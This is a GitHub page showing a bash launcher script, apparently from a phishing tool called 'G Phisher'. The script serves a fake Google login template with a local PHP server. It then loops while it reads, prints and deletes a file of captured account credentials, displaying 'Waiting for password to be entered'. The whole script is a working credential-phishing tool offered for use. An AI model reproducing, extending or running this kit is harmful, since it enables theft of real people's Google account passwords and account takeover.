-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathrun
44 lines (36 loc) · 1017 Bytes
/
run
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/bin/bash
LOCAL_IP=$(hostname -I | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}")
started_tool(){
clear
echo -e """\e[92m
____ ____ _ _ _
/ ___| | _ \ | |__ (_) ___ | |__ ___ _ __
| | _ | |_) | | '_ \ | | / __| | '_ \ / _ \ | '__|
| |_| | | __/ | | | | | | \__ \ | | | | | __/ | |
\____| |_| |_| |_| |_| |___/ |_| |_| \___| |_|
"""
}
on_exit(){
echo -e "\e[1;31m\rThanks for using this tool"
pkill php
exit
}
host_local_server(){
php -S 0.0.0.0:5011 -t .google_template/ > /dev/null 2>&1 &
echo -e "Local Server: \e[1;33mhttp://${LOCAL_IP}:5011"
}
listen_for_requests(){
if [ -f ".google_template/accounts.txt" ]; then
DATA="`cat .google_template/accounts.txt`"
echo "${DATA}"
rm ".google_template/accounts.txt"
fi
}
trap 'on_exit' SIGINT
started_tool
host_local_server
echo -e "\e[92mWaiting for password to be entered...\n\n"
while [ true ];
do
listen_for_requests
done